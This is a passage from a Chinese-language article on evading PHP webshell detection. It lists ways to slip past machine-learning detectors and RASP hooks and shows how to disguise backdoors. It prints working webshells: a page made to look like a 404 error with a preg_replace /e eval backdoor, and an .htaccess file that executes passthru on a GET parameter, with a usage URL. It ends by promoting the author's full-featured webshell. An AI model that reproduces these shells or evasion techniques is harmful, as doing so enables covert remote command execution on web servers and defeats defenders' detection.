六、过机器学习算法检测

随着科技发展,现在越来越多的厂商开始尝试并使用机器学习算法进行恶意文件、恶意流量的检测

不论是使用分类算法、还是使用神经网络、深度学习、异常检测算法,能想到的方式有几种

  • 收集webshell作为训练样本,训练好的模型进行分类,本质上是黑名单训练,典型的如One Class SVM
  • 有针对性的收集正常PHP业务逻辑代码和流量,进行白名单训练
  • 结合各项特征,完全进行聚类算法
  • 基于统计学,构建概率分布模型
  • 使用孤立森林等算法进行无监督的异常检测
  • 结合更高维度特征,如威胁情报、黑客画像、攻击手法等等,扩展特征维度,弱化代码、流量本身的权重占比
  • 等等

大多数实现的算法本质上都是提取相关特征进行识别,这种情况下想要绕过检测和识别,是稍微有点头疼的,因为有时候机器学习模型不需要认识你是恶意代码,只需要发现你跟正常逻辑代码不同就可以了,但是由于PHP的诸多特性,编写PHP代码的人员水平参差不齐,编写习惯不同,加上早期PHP面向过程的编制占到了大多数,因此在其中提取统一的相似性的成本和难度大大增加,所以还是可以绕过的,大体的思路有几种:

1.加密文件

对文件加密后,机器学习算法的识别就产生了巨大的偏差,在某些黑名单算法下无法有效识别,但很容易被静态检测报出威胁

2.模拟正常业务代码逻辑

恶意webshell写的越像正常业务代码,越容易绕过检测,无论是静态检测还是机器学习算法

对于流量层面,模拟其他正常业务逻辑的传参方式,必要时完全模拟其他参数的传递,这样可以也可以污染一些机器学习模型动态学习时的训练数据

使用类、函数进行webshell编写,增加代码互相调用的复杂度

同时避免使用常见的webshell中常用的一些字符处理函数,避免某些关键字在训练模型中出现频率较高导致报警

这部分根据不同的算法绕过的方式也是不同的,需要视情况而定

3.匿名化进攻

使用白IP进行攻击探测,使用代理池分散恶意流量,在正常业务访问时间进行探测,降低其他维度对攻击行为的标签,来绕过多维度特征的机器学习算法的检测,这部分超出了PHP代码本身,不再进行讨论

4.注释

使用注释进行PHP的混淆,对检测源码的机器学习算法是一个巨大的挑战

虽然机器学习模型的杀伤力理论上远远大于基于规则的传统WAF,但是实际上目前在效率和成本的衡量上目前还是传统WAF占据主流,可能某些大厂在样本数据庞大的情况下可能已经拥有了较好的模型,但是也不可能拿出来给你用,基于PHP本身的灵活及动态性,可以看到机器学习算法在不使用多维度多方面的综合考量情况下很难发挥出好的作用

七、RASP防御

PHP RASP方案是通过扩展模块实现对规则对应的恶意函数行为、上下文内容的判断和阻断,可以说 RASP 在未来一段时间内将逐渐取代流量层 WAF 称为主流防御方式

RASP 的技术核心就是一个词:Hook,但实际上最关键的并不是 Hook 动作的本身,而是取决于 Hook 之后的操作,安全开发人员根据自身经验进行的检测动作

在php中,调用 eval 等代码执行的函数,最终会调用 php 内核的 zend_compile_string 函数,因此只要 Hook 掉这个函数,把动作限死,一句话类的webshell都失效了

这种情况下我们可以使用小马、大马,直接把功能写出来,就绕过了这个点,但是既然是 RASP,就没那么简单

现在新版本的这些侵入式的防护产品,除了 Hook 了代码执行这一块,也一并把文件IO,命令执行这些都做了,根据 web 文件的行为来判断是否是 webshell。典型的比如:读取了非 web 目录下的文件,执行异常的命令等等

理论上,只要 Hook 做的全,检测规则想的全面,确实是很难绕过的,因为退一万步讲,即使你成功上传了webshell,你执行的其他动作都是非常规的,都是可以被检测的

但实际上,安全开发人员也是人,不一定能坐到面面俱到,因此,在相关技术没积累到十分成熟之前,根据实际情况还是可以试一试的

对于OpenRASP WebShell 沙盒检测,已经有大佬 LandGrey 提出想法,利用信息不对称性绕过检测,地址https://xz.aliyun.com/t/2335

八、伪装

讨论了各种检测方式绕过之后,还有一种绕过是针对人的绕过,也就是针对一些管理员、开发人员或者同行之间,通过各种方式伪装自己的木马,或多或少还是能起到一些作用的

将页面伪装成404的木马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

图片马,配合解析漏洞、htaccess、ini配置文件修改,进行隐藏,例如:

#首先允许web访问这个文件

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性

AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展

### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#恶意的php代码
使用方法:http://localhost/.htaccess/?c=dir

等等

九、PHP大马编写

在简单了解了上述知识后,为了练习 PHP 编码能力,学以致用,我花了一些时间编写了一个PHP大马,用作学习总结和免杀测试。

GITHUB地址: https://github.com/JosephTribbianni/Stitch

部分截图:

首页:

文件管理:

命令执行:

代码执行:

端口扫描:

数据库执行:

LD_PRELOAD:

消息提示:

具体情况请移步GITHUB观看,有兴趣可以下载尝试,欢迎交流。